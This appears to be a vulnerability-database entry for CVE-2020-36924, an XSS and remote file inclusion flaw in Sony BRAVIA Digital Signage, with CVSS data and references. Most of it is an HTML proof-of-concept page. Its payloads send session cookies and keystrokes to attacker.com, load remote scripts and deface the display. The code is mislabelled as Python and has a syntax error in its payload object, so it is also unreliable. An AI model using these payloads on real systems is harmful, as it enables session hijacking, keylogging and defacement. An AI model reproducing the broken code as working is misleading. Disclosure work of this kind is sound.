CVE-2020-36924

Description

Sony BRAVIA Digital Signage 1.7.8 contains a remote file inclusion vulnerability that allows attackers to inject arbitrary client-side scripts through the content material URL parameter. Attackers can exploit this vulnerability to hijack user sessions, execute cross-site scripting code, and modify display content by manipulating the input material type.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:sony:bravia_signage:*:*:*:*:*:*:*:* - VULNERABLE

Sony BRAVIA Digital Signage 1.7.8及之前版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2020-36924 PoC - Sony BRAVIA Digital Signage XSS/RFI -->
<!-- This PoC demonstrates the content material URL parameter injection -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2020-36924 PoC</title>
</head>
<body>
    <h2>CVE-2020-36924 - Sony BRAVIA Digital Signage</h2>
    <h3>Remote File Inclusion / XSS via material URL Parameter</h3>
    
    <p>Attack Vector: Inject malicious script via material URL parameter</p>
    
    <!-- PoC 1: Basic XSS via material parameter -->
    <h4>PoC 1: Reflected XSS</h4>
    <a href="http://target-bravia/signage?material=<script>alert('XSS')</script>">
        Click to Test XSS
    </a>
    
    <!-- PoC 2: Session Hijacking -->
    <h4>PoC 2: Session Hijacking</h4>
    <a href="http://target-bravia/signage?material=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>">
        Click to Steal Session
    </a>
    
    <!-- PoC 3: Remote File Inclusion -->
    <h4>PoC 3: Remote JavaScript Inclusion</h4>
    <a href="http://target-bravia/signage?material=http://attacker.com/malicious.js">
        Click to Load Remote Script
    </a>
    
    <!-- PoC 4: Content Modification -->
    <h4>PoC 4: Display Content Manipulation</h4>
    <a href="http://target-bravia/signage?material=<img src=x onerror='document.getElementById("display").innerHTML="<h1>HACKED</h1>"'>">
        Click to Modify Display
    </a>
    
    <script>
        // Simulated attack payload construction
        function constructPayload(payloadType) {
            const baseUrl = 'http://target-bravia/signage';
            const payloads = {
                xss: '<script>alert("CVE-2020-36924")</script>',
                cookie theft: '<script>fetch("http://attacker.com/log?c="+btoa(document.cookie))</script>',
                keylogger: '<script>document.onkeypress=function(e){fetch("http://attacker.com/k?"+e.key)}</script>',
                defacement: '<script>document.body.innerHTML="<h1>COMPROMISED</h1>"</script>'
            };
            return baseUrl + '?material=' + encodeURIComponent(payloads[payloadType]);
        }
        
        console.log('CVE-2020-36924 PoC Generator');
        console.log('Use these payloads with the material parameter');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-36924
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-36924
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-36924/
[4] VulDB https://vuldb.com/cve/CVE-2020-36924
[5] https://cxsecurity.com/issue/WLB-2020120030
[6] https://exchange.xforce.ibmcloud.com/vulnerabilities/192605
[7] https://packetstorm.news/files/id/160345
[8] https://pro-bravia.sony.net
[9] https://pro-bravia.sony.net/resources/software/bravia-signage/
[10] https://pro.sony/ue_US/products/display-software
[11] https://www.exploit-db.com/exploits/49186
[12] https://www.vulncheck.com/advisories/sony-bravia-digital-signage-unauthenticated-remote-file-inclusion
[13] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5612.php

Raw JSON Data

JSON

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